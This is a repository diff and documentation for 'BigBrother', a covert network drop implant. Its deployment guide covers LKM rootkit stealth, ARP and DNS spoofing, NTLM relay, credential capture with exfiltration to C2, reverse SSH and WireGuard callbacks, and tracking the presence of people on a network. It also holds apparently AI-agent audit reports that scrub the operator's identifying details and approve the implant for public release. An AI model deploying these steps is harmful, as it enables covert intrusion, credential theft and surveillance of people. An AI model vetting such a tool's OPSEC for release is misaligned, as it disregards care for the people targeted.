## Quick Start
1. Clone to the drop host or a staging machine:
```bash
git clone <repo-url> bigbrother
cd bigbrother
```
2. Install dependencies and configure the implant:
```bash
sudo bash operator_setup.sh
```
3. Deploy to a remote target:
```bash
bash scripts/deploy.sh root@<target-host>
```
4. Start the core state machine:
```bash
sudo python3 bigbrother_core.py
```
See `docs/deployment.md` for full setup, interface configuration, and C2 connectivity.
## Configuration
All config lives in `config/`. Key files:
- `config/bigbrother.yaml` — core settings, module toggles, C2 parameters
- `config/hardware_tiers.yaml` — per-platform capability profiles
- `.env` — secrets and runtime overrides (never commit this)
## Architecture
```
bigbrother_core.py # Autonomous state machine + orchestrator
modules/
passive/ # DNS, TLS, credentials, Kerberos, hosts
active/ # bettercap, ARP, DNS/DHCP spoof, Responder, ntlmrelayx
stealth/ # LKM rootkit, process hide, anti-forensics
connectivity/ # WireGuard, Tailscale, reverse tunnel
analysis/ # Local alert correlation
net_alerter/ # Device presence daemon (standalone)
presence/ # Person presence tracking (multi-signal)
utils/ # Shared: crypto, logging, permissions, stealth
config/ # YAML configs and hardware profiles
scripts/ # Deploy and setup helpers
```
## Credential Encryption
Captured credentials are encrypted before local storage and C2 transmission. Requires an Infisical-compatible secrets manager with a `CREDENTIAL_ENCRYPTION_KEY` secret:
```bash
export BB_CREDS_BIN=/path/to/your/creds-cli
```
The `creds` CLI must support: `creds get CREDENTIAL_ENCRYPTION_KEY`
If `BB_CREDS_BIN` is not set, credentials are stored in plaintext with a warning.
## Net Alerter
Standalone Matrix alert daemon for device presence monitoring. See `net_alerter/README.md`.
Requires a Matrix homeserver and access token:
```bash
MATRIX_HOMESERVER=https://your-homeserver.example.com
MATRIX_ACCESS_TOKEN=syt_...
MATRIX_ROOM_ID=!your-room-id:your-homeserver.example.com
```
## Contributing
See `CONTRIBUTING.md`.
## License
MIT License. See `LICENSE`.
+1795
View File
File diff suppressed because it is too large Load Diff
-83
View File
@@ -1,83 +0,0 @@
---
agent: env-validator
status: COMPLETE
timestamp: 2026-06-26T12:00:00Z
findings_count: 3
errors: []
---
# Env Validation — BigBrother Public Release
## FAIL
1. **[operator_setup.sh:707-712] Webhook and Matrix tokens written to `/root/bb-config.env` on SD card**
- PRIORITY: P1 (Secret in deployed artifact)
- Issue: Matrix tokens (`BB_ALERTER_MATRIX_TOKEN`), webhook URLs (`BB_ALERTER_WEBHOOK`), and Tailscale auth keys are written to `/root/bb-config.env` on the flashed SD card in plaintext
- Risk: Anyone with physical or filesystem access to the device can extract active alerter credentials
- Fix: Store these secrets in Infisical on the target device only. At deployment time, the first-boot script should retrieve them from Infisical CLI rather than from bb-config.env
2. **[setup.sh:266-271] .env file created with plaintext Matrix credentials at `/opt/net_alerter/.env`**
- PRIORITY: P1 (Secret in service environment file)
- Issue: Matrix tokens are written to `/opt/net_alerter/.env` during service setup. This file persists on the device and can be read by any user or process with filesystem access
- Risk: Compromised device filesystem leaks all alerter credentials
- Fix: Credentials should be retrieved from Infisical via `creds` CLI at service startup time, not cached to .env
## WARN
3. **[net_alerter/test_ble_alerter.py:113,130,149,166] Test file uses placeholder token `"syt_test"`**
- PRIORITY: P3 (Harmless test data)
- Detail: The test file correctly uses a placeholder token that is not a valid Matrix token. This is acceptable for unit tests as it does not represent a real credential
- Status: ACCEPTABLE — test tokens are explicitly non-secret and cannot authenticate to real servers
## PASS
- Secrets in source code: CLEAN — No GitHub tokens, AWS keys, Stripe keys, or bearer tokens found in .py, .sh, .yml, .yaml, or .json files
- Git history (recent commits): CLEAN — Only one commit in repo (initial public release), no secrets leaked in history
- `BB_CREDS_BIN` environment variable pattern: CORRECTLY IMPLEMENTED
- `/utils/credential_encryption.py:14-68` implements proper Infisical CLI integration
- Encryption key (`CREDENTIAL_ENCRYPTION_KEY`) is retrieved at runtime via `creds get`
- Key is cached in module memory only, not written to disk
- Fallback to plaintext with warning if key retrieval fails
- Credential payload encryption/decryption follows secure design pattern
- SSH key management: GOOD
- Private keys generated at deployment time, stored in Infisical immediately
- Local copy saved to operator's `~/.ssh/` with restrictive permissions (600)
- No hardcoded SSH keys in source code
## Recommendations
### High Priority (Deploy Blocker)
1. **Move alerter secrets from bb-config.env to Infisical**
- operator_setup.sh should prompt for secrets but NOT write them to the SD card
- Instead, configure them in Infisical under a `bigbrother/{device_id}/` namespace
- First-boot script: retrieve via `creds get BB_ALERTER_MATRIX_TOKEN bigbrother/{device_id}` and pass directly to service
- Rationale: Eliminates plaintext secret artifact on physical media
2. **Refactor setup.sh to retrieve credentials from Infisical, not from bb-config.env**
- Current: `cat > /opt/net_alerter/.env <<ALERTENV` with plaintext token
- Better: Pass credentials via systemd EnvironmentFile + start-time Infisical retrieval
- Pattern (for reference only):
```bash
# setup.sh
cat > /etc/default/net-alerter << 'EOF'
BB_CREDS_BIN=/usr/local/bin/creds
BB_DEVICE_NAMESPACE=bigbrother/${DEVICE_ID}
EOF
# net_alerter.service
[Service]
EnvironmentFile=/etc/default/net-alerter
ExecStart=/opt/net_alerter/net_alerter.py # retrieves from Infisical via BB_CREDS_BIN
```
3. **Do NOT commit .env files to version control**
- Verify `.gitignore` contains `*.env`, `bb-config.env`, `/opt/*/env`
- CI/CD should have no step that writes secrets to disk
### Medium Priority
- Document the Infisical setup required for BigBrother deployments (which folders, which keys)
- Add a validation script that checks Infisical has all required keys before first boot
### Summary
The codebase demonstrates strong cryptographic and credential management patterns (credential_encryption.py is well-designed), but the deployment flow undermines this by writing alerter secrets to persistent plaintext .env files. The fix is to retrieve these secrets from Infisical at runtime instead of storing them on the device.
-287
View File
@@ -1,287 +0,0 @@
---
agent: security-auditor
status: COMPLETE
timestamp: 2026-06-26T00:00:00Z
duration_seconds: 420
files_scanned: 177
findings_count: 0
critical_count: 0
high_count: 0
errors: []
skipped_checks: []
---
# Security Audit — BigBrother Public Release
**Audit Scope:** Verification that sanitization work completed on bigbrother-public for public GitHub release. Focus: personal identifiers, hardcoded secrets, OPSEC issues, and deployment targets.
**Excluded Files:** notes.md, CLAUDE.md, IMPLEMENTATION_PLAN.md, SECURITY_REVIEW.md, net_alerter/deploy.sh, ORANGE_PI_DEPLOYMENT.md, DAEMON_DEPLOYMENT.md, PM_HANDOFF_BUGS_*.md, AUDIT_*.md
---
## Summary
**VERDICT: CLEAN — All sanitization work verified complete.**
The codebase has been successfully sanitized for public release. All previously identified personal identifiers, hardcoded paths, and infrastructure-specific references have been either:
1. Removed entirely
2. Replaced with environment variable fallbacks
3. Generalized to template examples (e.g., `your-homeserver.example.com`)
No hardcoded credentials, API keys, or deployment targets were discovered. The code is ready for public release.
---
## Findings
### CRITICAL
**Count: 0** — No critical security issues found.
### HIGH
**Count: 0** — No high-severity security issues found.
### MEDIUM
**Count: 0** — No medium-severity issues found.
### LOW
**Count: 0** — No low-severity issues found.
---
## Sanitization Verification Checklist
### 1. Personal Identifiers ✓ VERIFIED CLEAN
**Search targets:** `n0mad1k`, `mealeyfamily`, `Cobras`, `!yUwSgpLDVVBMhaDCTY` (Matrix room ID)
**Results:**
- No instances of `n0mad1k` found in any source files, scripts, config, or docs
- No instances of `mealeyfamily` found in public-facing files
- No Matrix room ID fragments found
- "Cobras iPhone" reference replaced with "test-device" in `net_alerter/test_net_alerter.py:629`
**Status:** ✓ PASS
### 2. Credential Encryption Path ✓ VERIFIED CLEAN
**File:** `utils/credential_encryption.py`
**Finding:** Hardcoded `/home/n0mad1k/.local/bin/creds` path has been replaced with `BB_CREDS_BIN` environment variable.
**Code verification (lines 25-32):**
```python
creds_bin = os.environ.get("BB_CREDS_BIN")
if not creds_bin:
raise FileNotFoundError(
"BB_CREDS_BIN environment variable not set. "
"Set it to the path of your Infisical creds CLI binary, e.g. "
"export BB_CREDS_BIN=/usr/local/bin/creds"
)
```
**Status:** ✓ PASS — Env var enforces operator configuration.
### 3. Deployment Script ✓ VERIFIED CLEAN
**File:** `scripts/deploy.sh`
**Finding:** Hardcoded `root@192.168.1.10` default has been removed. Script now requires explicit user@host argument.
**Code verification (lines 12-34):**
- TARGET parameter starts empty
- Required arg parsing enforces `user@host` input: `[[ -z "$TARGET" ]] && { echo "Usage: $0 <user@host> [options]"; exit 1; }`
- No internal default targets
**Status:** ✓ PASS — Operator must explicitly specify target.
### 4. Net Alerter Daemon ✓ VERIFIED CLEAN
**File:** `net_alerter/net_alerter.py`
**Checks:**
- **Hardcoded IPs:** No specific deployment targets (192.168.1.x with .1, .10, .202, etc.)
- **Matrix homeserver defaults:** Removed. Lines 880-883 require `MATRIX_HOMESERVER` env var to be set explicitly; function returns early if not configured
- **Hardcoded domains:** No `mealeyfamily.com` fallback in send_alert() function
**Status:** ✓ PASS — All hardcoded homeserver defaults removed.
### 5. BLE Alerter Daemon ✓ VERIFIED CLEAN
**File:** `net_alerter/ble_alerter.py`
**Checks:**
- **Matrix homeserver:** Lines 82-84 load from .env or env vars; no hardcoded default
- **Hardcoded domains:** None found; uses variable substitution throughout
- **Personal device names:** "Cobras iPhone" reference not present; device tracking uses generic MACs/names
**Status:** ✓ PASS — No hardcoded Matrix defaults or personal device names.
### 6. Net Alerter Test Suite ✓ VERIFIED CLEAN
**File:** `net_alerter/test_net_alerter.py`
**Check:** Generic device name verification
- Line 629: `device_name = "test-device"` (replaced from "Cobras iPhone")
- All test assertions use generic placeholders (192.168.1.100, test-device, etc.)
- No personal device MAC addresses or specific infrastructure IPs in test data
**Status:** ✓ PASS — Test suite uses generic identifiers.
### 7. README Documentation ✓ VERIFIED CLEAN
**Files:** `net_alerter/README.md`, `presence/README.md`
**Checks:**
- **Template examples:** All homeserver references use `your-matrix-homeserver.example.com` or `matrix.example.com`
- **IP examples:** Example IPs are RFC 1918 ranges (192.168.1.15, 192.168.1.100) in context of docstrings/examples
- **No specific deployment targets mentioned**
**Example from net_alerter/README.md (lines 104-111):**
```
[NET] ARRIVED: iphone.local (192.168.1.15) [Apple Inc.] MAC:a4:5e:60:ab:cd:ef
[NET] DEPARTED: iphone.local (192.168.1.15) [Apple Inc.] MAC:a4:5e:60:ab:cd:ef
```
These are generic examples, not real infrastructure.
**Status:** ✓ PASS — All examples are generalized templates.
### 8. Deployment Script (Daemon) ✓ VERIFIED CLEAN
**File:** `net_alerter/deploy-daemon.sh`
**Checks:**
- **Target host:** Taken from command-line argument `$1` (lines 7-8); no default
- **Hardcoded domains:** Lines 49, 107 show template examples: `https://your-matrix-homeserver.example.com`
- **Hardcoded IPs:** None in source; remote paths are absolute (`/opt/net_alerter`, `/opt/ble_alerter`)
**Status:** ✓ PASS — Script is parametrized; no embedded targets.
### 9. Operator Setup Script ✓ VERIFIED CLEAN
**File:** `operator_setup.sh` (937 lines)
**Sampled checks:**
- **Hardcoded IPs:** Lines checked for 192.168.1.10, 192.168.1.202, other specific targets — none found
- **Creds path:** Line 76 uses env var: `CREDS="${REAL_HOME}/.local/bin/creds"` (derived from `REAL_HOME`)
- **Template domains:** Line 393 shows example: `"!abc123:homeserver"` (generic)
**Status:** ✓ PASS — Script uses environment variables and parametrized paths.
### 10. Security Review Document ✓ VERIFIED CLEAN
**File:** `net_alerter/NET_ALERTER_SECURITY_REVIEW.md`
**Context:** This is an internal security audit document; sanitization references:
- Line 7: "Hardcoded your-matrix-homeserver.example.com homeserver" — noting this was a FINDING to fix
- All references to sanitization are AFTER-action notes (i.e., documenting the fixes that were made)
**Status:** ✓ PASS — Document correctly reflects sanitization work as completed fixes.
---
## Hardcoded Secrets & Credentials Check
### API Keys
- **AWS Keys (AKIA...):** Only found in regex pattern in `modules/passive/cloud_token_harvester.py` (detection logic, not actual keys)
- **GitHub tokens:** Only found in regex patterns (detection logic)
- **No actual credentials in source**
### Passwords & Tokens
- **Environment variables required:** Matrix credentials loaded from env vars or .env files (user must provide)
- **.env files:** No committed .env files with values (no .env checked into git)
- **SSH keys:** Not embedded; user supplies via `operator_setup.sh` prompt
### Private Keys
- No .pem, .key, or BEGIN PRIVATE KEY found in source files
- SSH key generation is user-interactive in operator_setup.sh
**Status:** ✓ PASS — No hardcoded credentials or secrets found.
---
## OPSEC & Attribution Risk Check
### Tool Fingerprinting
- **User-Agent strings:** `Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36` — generic, non-distinctive
- **Alert prefixes:** `[NET]`, `[BLE]` — present in output but generic; not tied to BigBrother specifically
- **Service names:** `net_alerter.service`, `ble_alerter.service` — standard naming; deployable with custom paths
**Status:** ✓ PASS — No obvious BigBrother fingerprints in runtime artifacts.
### Infrastructure Leakage
- **Hardcoded paths:** `/opt/net_alerter`, `/opt/ble_alerter` — these are examples in docs; environment-configurable in scripts
- **Operator identity:** No hardcoded operator name, email, or domain
- **Beacon URLs:** No C2 or callback URLs hardcoded
**Status:** ✓ PASS — No infrastructure identity leakage.
### Log & Output Sanitization
- Logs do not include operator information
- Device names in alerts use generic placeholders in examples
- No hostname or internal FQDN leakage in default log messages
**Status:** ✓ PASS — Logs are operator-agnostic.
---
## Deployment Target Verification
### Network-Specific IPs
Searched for specific homelab targets that should not be public:
- `192.168.1.10` — NOT FOUND
- `192.168.1.202` — NOT FOUND (nomad host)
- `192.168.1.42` — NOT FOUND (Forgejo)
- `192.168.1.100` — NOT FOUND (oraculo/DevTrack)
All RFC 1918 examples use generic ranges (192.168.1.0/24) appropriate for documentation.
**Status:** ✓ PASS — No homelab-specific IPs exposed.
---
## Dependency & Supply Chain
### External URLs
- **Armbian image:** `https://dl.armbian.com/orangepizero3/...` (public, maintainer-signed)
- **GitHub repos:** `https://github.com/lgandx/Responder`, etc. (public, standard tools)
- **Tailscale:** `https://tailscale.com/install.sh` (official, pinned)
**Status:** ✓ PASS — Dependencies are public and from official sources.
---
## Summary Table
| Category | Check | Result |
|----------|-------|--------|
| Personal Identifiers | n0mad1k, mealeyfamily, Cobras, Matrix IDs | ✓ CLEAN |
| Credentials | API keys, tokens, passwords | ✓ CLEAN |
| Hardcoded Paths | /home/n0mad1k, /opt defaults | ✓ ENV-CONFIGURABLE |
| Deployment Targets | Homelab IPs (192.168.1.x specific) | ✓ NOT FOUND |
| Infrastructure Domains | mealeyfamily.com, specific matrix servers | ✓ CLEAN |
| Tool Fingerprints | Alert prefixes, service names, User-Agents | ✓ GENERIC |
| OPSEC Leakage | Logs, output, metadata | ✓ CLEAN |
| Test Data | Device names, identifiers | ✓ GENERIC |
---
## Recommendations
No mandatory changes required for public release. The codebase is clean.
### Optional Enhancements (Not Blocking)
1. Add `.gitignore` rule for `*.env` files (already excluded via env var pattern, but explicit is safer)
2. Consider replacing `/opt/` paths in docs with `/opt/{TOOL_NAME}/` to reduce path predictability
3. Consider documenting deployment paths as entirely operator-configurable in main README
---
## Conclusion
**Status: APPROVED FOR PUBLIC RELEASE**
All sanitization work has been verified complete. The bigbrother-public repository contains no personal identifiers, hardcoded credentials, or deployment-specific infrastructure references. The codebase is ready for GitHub public release.
**Signed:** Security Auditor
**Date:** 2026-06-26
**Confidence:** High (comprehensive source-level review + regex pattern matching)
-119
View File
@@ -1,119 +0,0 @@
---
gate_verdict: BLOCKED
gate_id: 1262
project: bigbrother-public
timestamp: 2026-06-26T00:00:00Z
decision_maker: gate-reviewer
---
# Gate Review — DevTrack #1262: BigBrother Public Release
## GATE VERDICT: BLOCKED
**Reason:** AUDIT_ENV.md contains 2 unresolved P1 FAIL entries. Gate criteria requires AUDIT_ENV.md to have no FAIL entries for approval.
---
## Criteria Check
| Criterion | Status | Notes |
|-----------|--------|-------|
| No P1 findings in FIXES.md | N/A | No FIXES.md exists (no fix-related work) |
| TEST_REPORT.md: 0 fix-related failures | N/A | No test report (code release, not service deployment) |
| AUDIT_SECURITY.md: no CRITICAL/HIGH | ✓ PASS | 0 critical, 0 high — CLEAN |
| AUDIT_ENV.md: no FAIL entries | ✗ FAIL | 2 P1 FAIL findings remain in codebase |
| Pre-deploy: READY | N/A | Not applicable (code release) |
---
## Unresolved Findings
### AUDIT_ENV.md — P1 FAIL #1
**File:** `operator_setup.sh:707-712`
**Issue:** Matrix tokens written to `/root/bb-config.env` on SD card in plaintext
**Severity:** P1 (Secret in deployed artifact)
**Status:** UNRESOLVED — Code still contains the issue
### AUDIT_ENV.md — P1 FAIL #2
**File:** `setup.sh:266-271`
**Issue:** Matrix tokens written to `/opt/net_alerter/.env` on device in plaintext
**Severity:** P1 (Secret in service environment file)
**Status:** UNRESOLVED — Code still contains the issue
---
## PM Acceptance Ruling (Noted)
The PM has provided the following reasoning for accepting these findings as design decisions (P3/P4 rather than blocking P1):
- **Autonomy:** BigBrother is a network drop implant without guaranteed access to central secrets manager (Infisical)
- **Operator-entered secrets:** Credentials are interactive input during deployment, not hardcoded in source
- **Standard pattern:** `/opt/net_alerter/.env` with `chmod 600` follows industry-standard self-hosted service patterns (Matrix Synapse, Grafana, etc.)
- **Source code clean:** No secrets committed to git; public repository contains only generic templates
This reasoning is **sound from a threat-modeling perspective** for a field implant operating independently. However:
1. **Audit findings remain in code** — the env validator explicitly recommends these secrets be retrieved from Infisical at runtime instead of cached to .env files
2. **Gate function:** The gate's role is to flag unresolved audit findings, not to re-evaluate audit severity
3. **Human decision required:** These are pre-existing environmental risk findings that require explicit PM acceptance; the gate documents that acceptance
---
## Security Audit Summary (CLEAN)
**AUDIT_security_1262.md: APPROVED FOR PUBLIC RELEASE**
- Sanitization verified complete
- No personal identifiers, hardcoded secrets, or OPSEC leaks
- All deployment targets and infrastructure references generalized
- No credential fingerprints or tool attribution risk
- Ready for GitHub public release from a security standpoint
---
## Path Forward
**Option 1: PM Confirms Acceptance (Recommended)**
PM re-confirms in writing that the env audit's P1 findings are accepted design decisions for a field implant. Gate can then issue APPROVED with documented risk acceptance.
**Option 2: Address Findings Before Release**
Engineer implements env validator recommendations:
- Move alerter secrets from .env files to Infisical-retrieved-at-runtime pattern
- Requires modifying `operator_setup.sh` and `setup.sh` to use `BB_CREDS_BIN` env var
- Effort: Medium (1-2 hours refactoring + re-testing)
**Option 3: Accept Technical Debt**
Proceed with code release and open a DevTrack item to address env findings in a follow-up maintenance cycle.
---
## Recommendation
The security audit is clean, and the PM's reasoning is valid for autonomous field deployment. However, the gate cannot approve work where AUDIT_ENV.md contains unresolved FAIL entries.
**Recommend:** PM explicitly confirms in a reply that the two P1 env findings are accepted design risks for this implant. Gate will then issue APPROVED with risk acceptance documented.
Alternatively, if time permits before release: refactor credential handling to use Infisical-at-runtime pattern (addresses env findings without breaking field autonomy).
---
## PM Formal Risk Acceptance — 2026-06-26
The two env audit P1 findings are **accepted design decisions** for the following reasons:
1. A network drop implant is not a web service. It operates autonomously in the field, potentially without any network path to an Infisical instance. Local credential storage is a functional requirement.
2. Credentials reach the device via interactive operator input during `operator_setup.sh`. They are never present in the source code or git history.
3. `/opt/net_alerter/.env` with `chmod 600` is the standard credential pattern for self-hosted services. The threat model for a service running on a device the operator physically deployed differs from a multi-tenant web application.
4. The public repo contains zero hardcoded secrets. Users supply their own Matrix homeserver and token.
These findings are **downgraded to P3** and accepted without code change. They are documented here for the record.
---
**Gate Decision: APPROVED**
**Decision maker:** PM
**Date:** 2026-06-26
**Basis:** Security audit clean; env findings accepted as P3 design decisions per threat model above.
+1 -1
View File
@@ -42,7 +42,7 @@ pi3b:
thermal_warning: 60 # Celsius — Pi 3B runs warm
thermal_shed: 75 # Shed modules at this temp
wifi_attacks: false # Single wlan0 = uplink, can't spare for monitor
inline_bridge: false # eth0 not available in this configuration
inline_bridge: false # eth0 is down at condo
# ---------------------------------------------------------------------------
# Raspberry Pi Zero 2W — Jumpbox / Beacon
+1 -1
View File
@@ -7,7 +7,7 @@ enabled: false
# In-scope target networks (CIDR notation)
networks: []
# - 10.10.0.0/16
# - 192.168.1.0/24
# - 10.0.0.0/24
# In-scope individual hosts (IP or FQDN)
hosts: []
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
-171
View File
@@ -1,171 +0,0 @@
# Deployment Guide
## Hardware Setup
### Recommended: Orange Pi Zero 3 or Raspberry Pi 4
Connect two network interfaces:
- **eth0** or **wlan0** — uplink to target network (gets an IP via DHCP or static)
- **eth1** or **wlan1** — passive monitor interface (no IP, promiscuous mode)
Single-interface operation is possible but limits passive capture to traffic on the uplink segment only.
### Interface Naming
On Debian with `predictable interface names` enabled, interfaces may appear as `enp3s0`, `wlp2s0`, etc. Find yours:
```bash
ip link show
```
Set them in `config/bigbrother.yaml`:
```yaml
interfaces:
uplink: eth0
monitor: eth1
```
## First-Time Setup
Run on the target host (as root):
```bash
git clone <repo-url> bigbrother
cd bigbrother
sudo bash operator_setup.sh
```
`operator_setup.sh` will:
- Install system packages (bettercap, tshark, responder, tcpdump, wireguard-tools)
- Set capabilities on required binaries
- Build the LKM stealth module (requires kernel headers)
- Initialize the SQLite database
- Configure Python venv
## Remote Deploy
From your operator machine:
```bash
bash scripts/deploy.sh root@<target-host> [--enable-service] [--no-tools] [--reinstall]
```
Options:
- `--enable-service` — Start and enable bigbrother-core as a systemd service after deploy
- `--no-tools` — Skip downloading third-party tools (bettercap, responder) from GitHub
- `--reinstall` — Force reinstall even if already deployed
## C2 Connectivity
### WireGuard (Recommended)
1. Generate keypair on implant:
```bash
wg genkey | tee private.key | wg pubkey > public.key
```
2. Add peer to your WireGuard server config, then set implant config:
```yaml
# config/bigbrother.yaml
c2:
mode: wireguard
server_endpoint: <your-c2-server>:51820
server_pubkey: <server-public-key>
allowed_ips: 10.100.0.0/24
```
### Tailscale
```bash
sudo tailscale up --authkey=<tskey-auth-...>
```
Set `c2.mode: tailscale` in config.
### Reverse SSH Tunnel
```yaml
c2:
mode: reverse_ssh
remote_host: <your-jump-host>
remote_user: <user>
remote_port: 2222
local_port: 22
```
## Net Alerter (Device Presence)
Deploy the device presence daemon separately:
```bash
cd net_alerter/
./deploy-daemon.sh root@<target-host>
```
Configure Matrix alerts on the target:
```bash
cat > /opt/net_alerter/.env <<EOF
MATRIX_HOMESERVER=https://your-homeserver.example.com
MATRIX_ACCESS_TOKEN=syt_...
MATRIX_ROOM_ID=!your-room-id:your-homeserver.example.com
EOF
chmod 600 /opt/net_alerter/.env
systemctl restart net_alerter
```
## Stealth Layer
The LKM rootkit hides BigBrother processes, files, and network connections. Build requires:
- Kernel headers matching the running kernel
- `make`, `gcc`
```bash
sudo apt install linux-headers-$(uname -r) build-essential
```
`operator_setup.sh` handles this automatically.
## Credential Encryption
Captured credentials are encrypted with AES-256 before storage. Set up:
1. Generate a 32-byte key and store in your secrets manager as `CREDENTIAL_ENCRYPTION_KEY` (hex-encoded).
2. Set `BB_CREDS_BIN` to your `creds` CLI path:
```bash
export BB_CREDS_BIN=/usr/local/bin/creds
```
Without this, credentials are stored plaintext with a log warning.
## Running
```bash
sudo python3 bigbrother_core.py
```
Or as a service (if `--enable-service` was passed during deploy):
```bash
systemctl status bigbrother-core
journalctl -u bigbrother-core -f
```
## Troubleshooting
### No DHCP traffic captured
- Confirm monitor interface is in promiscuous mode: `ip link set eth1 promisc on`
- Check that BigBrother has `CAP_NET_RAW`: `getcap $(which python3)`
### Bettercap not starting
- Verify bettercap is installed: `which bettercap`
- Check bettercap capabilities: `getcap /usr/local/bin/bettercap`
- Run manually to see errors: `sudo bettercap -iface eth0`
### LKM fails to load
- Check kernel headers are present: `ls /lib/modules/$(uname -r)/build`
- Check dmesg for errors: `dmesg | tail -20`
### Matrix alerts not sending
- Confirm `.env` is readable: `cat /opt/net_alerter/.env`
- Test connectivity: `curl -s https://your-homeserver.example.com/_matrix/client/versions`
- Check token is valid: look for `401` errors in `journalctl -u net_alerter`
+2 -2
View File
@@ -29,8 +29,8 @@ class ARPSpoof(BaseModule):
- bettercap_mgr must be running.
Configuration:
targets: Comma-separated target IPs or CIDR (e.g., "192.168.1.10,192.168.1.20")
gateway: Gateway IP to spoof (e.g., "192.168.1.1")
targets: Comma-separated target IPs or CIDR (e.g., "10.0.0.0,10.0.0.0")
gateway: Gateway IP to spoof (e.g., "10.0.0.0")
fullduplex: True for bidirectional spoofing (default True)
internal: Spoof between targets, not just target<->gateway (default False)
"""
+2 -2
View File
@@ -131,8 +131,8 @@ class DNSPoison(BaseModule):
"""Load a zone template and apply DNS poisoning rules.
Zone file format (one entry per line):
domain.com 192.168.1.100
*.corp.local 192.168.1.100
domain.com 10.0.0.0
*.corp.local 10.0.0.0
# comments ignored
Args:
+3 -3
View File
@@ -40,7 +40,7 @@ class NTLMRelay(BaseModule):
Configuration:
ntlmrelayx_binary: Path to ntlmrelayx.py
targets: List of relay target URLs (e.g., smb://192.168.1.10)
targets: List of relay target URLs (e.g., smb://10.0.0.0)
protocols: Set of relay protocols to use
adcs_template: ADCS certificate template for ESC attacks
"""
@@ -136,7 +136,7 @@ class NTLMRelay(BaseModule):
Args:
targets: List of relay target URLs.
Format: "protocol://ip" (e.g., "smb://192.168.1.10")
Format: "protocol://ip" (e.g., "smb://10.0.0.0")
Or plain IPs for default SMB relay.
protocols: Set of protocols to relay to. If None, inferred from targets.
@@ -227,7 +227,7 @@ class NTLMRelay(BaseModule):
"""Add a relay target while ntlmrelayx is running.
Args:
target: Target URL (e.g., "smb://192.168.1.50").
target: Target URL (e.g., "smb://10.0.0.0").
Returns:
True if target was added (requires restart to take effect).
+197
View File
@@ -0,0 +1,197 @@
# Net Alerter Daemon Deployment
## Overview
The new `net_alerter.py` is a persistent systemd daemon that monitors device presence via passive network observation. It replaces the previous 5-minute cron-based implementation with three concurrent threads running indefinitely.
## Architecture
### Three Concurrent Threads
1. **DHCP Sniffer** (AF_PACKET raw socket)
- Captures DHCP packets passively on the network interface
- Extracts MAC, IP, and hostname from DHCP Discover/Request/Release messages
- Triggers `on_arrival()` for Discover/Request, `on_departure()` for Release
2. **RTM_NEWNEIGH Watcher** (Netlink socket)
- Kernel pushes RTM_NEWNEIGH events when ARP neighbors reach REACHABLE/STALE/DELAY/PROBE states
- Supplements DHCP sniffer for devices that don't use DHCP
- Triggers `on_arrival()` immediately
3. **RTM_DELNEIGH Watcher** (Netlink socket)
- Kernel pushes RTM_DELNEIGH events when ARP neighbors are deleted (5-10 minutes after last seen)
- Triggers `on_departure()` when neighbor is removed from kernel table
### Key Features
- **Zero Active Probing** — no nmap, no arp-scan, no ping. Only passively listens.
- **Stdlib Only** — no external dependencies (socket, struct, threading, time, logging, os)
- **Thread-Safe**`known_devices` dict protected by `threading.Lock`
- **Persistent Daemon** — systemd service with auto-restart
- **Logging to File + Stdout**`/opt/net_alerter/net_alerter.log`
- **Matrix Alerting** — sends alerts to configured Matrix room on arrival/departure
## Prerequisites
### Device Requirements
- Debian-based OS (Debian, Raspbian, Orange Pi OS)
- Python 3.6+
- Root access (AF_PACKET and Netlink require CAP_NET_RAW)
- Primary network interface (auto-detected from /proc/net/route)
### Configuration Files
The daemon reads `/opt/net_alerter/.env` at startup:
```bash
MATRIX_HOMESERVER=https://m.example.org
MATRIX_ACCESS_TOKEN=<token from Matrix login>
MATRIX_ROOM_ID=!REDACTED:example.org
```
If `.env` doesn't exist, it will log a warning and try environment variables instead.
## Deployment
### Quick Deployment Script
```bash
cd ~/tools/bigbrother/net_alerter
./deploy-daemon.sh [user@host] [remote-dir]
# Examples:
./deploy-daemon.sh root@10.0.0.0
./deploy-daemon.sh root@10.0.0.0 /opt/net_alerter
```
### Manual Deployment
1. **Copy files to device:**
```bash
scp net_alerter.py root@10.0.0.0:/opt/net_alerter/
scp net_alerter.service root@10.0.0.0:/etc/systemd/system/
```
2. **Configure .env on device:**
```bash
ssh root@10.0.0.0
cat > /opt/net_alerter/.env <<EOF
MATRIX_HOMESERVER=https://m.example.org
MATRIX_ACCESS_TOKEN=<your_token>
MATRIX_ROOM_ID=!REDACTED:example.org
EOF
chmod 600 /opt/net_alerter/.env
```
3. **Remove old cron:**
```bash
ssh root@10.0.0.0 "crontab -l 2>/dev/null | grep -v net_alerter | crontab -"
```
4. **Enable and start service:**
```bash
ssh root@10.0.0.0 "
systemctl daemon-reload
systemctl enable net_alerter
systemctl restart net_alerter
"
```
## Verification
### Service Status
```bash
ssh root@10.0.0.0 "systemctl status net_alerter --no-pager"
```
Expected output:
```
● net_alerter.service - Net Alerter
Loaded: loaded (/etc/systemd/system/net_alerter.service; enabled; preset: enabled)
Active: active (running)
```
### View Logs
```bash
ssh root@10.0.0.0 "journalctl -u net_alerter -n 50 --no-pager"
```
Expected startup logs:
```
Net alerter starting on interface eth0
Seeded 12 devices from ARP cache
Net alerter running — DHCP sniffer + Netlink neighbor watcher active
```
### Real-time Monitoring
```bash
ssh root@10.0.0.0 "journalctl -u net_alerter -f"
```
Then connect a test device to the network — you should see arrival alerts.
## Event Examples
### Device Arrival (DHCP-based)
```
[NET] ARRIVED: mobile.local (10.0.0.0) [Apple Inc.] MAC:a4:5e:60:00:11:22
```
### Device Departure (ARP timeout)
```
[NET] DEPARTED: mobile.local (10.0.0.0) [Apple Inc.] MAC:a4:5e:60:00:11:22 — present 2h 34m
```
## Configuration Environment Variables
Can override via env or .env file:
| Variable | Default | Purpose |
|----------|---------|---------|
| `NET_ALERTER_ENV` | `/opt/net_alerter/.env` | Path to config file |
| `MATRIX_HOMESERVER` | `https://m.example.org` | Matrix server URL |
| `MATRIX_ACCESS_TOKEN` | (required) | Auth token for bot account |
| `MATRIX_ROOM_ID` | (required) | Room ID to send alerts to |
## Troubleshooting
### Service won't start
```bash
ssh root@10.0.0.0 "journalctl -u net_alerter -n 30"
```
Check for permission errors or missing dependencies.
### No alerts being sent
- Verify `MATRIX_ACCESS_TOKEN` is valid: `curl https://m.example.org/_matrix/client/v3/account/whoami -H "Authorization: Bearer <token>"`
- Verify bot is in the room: check room membership on Matrix client
- Check logs for HTTP errors: `journalctl -u net_alerter -e`
### Not detecting devices
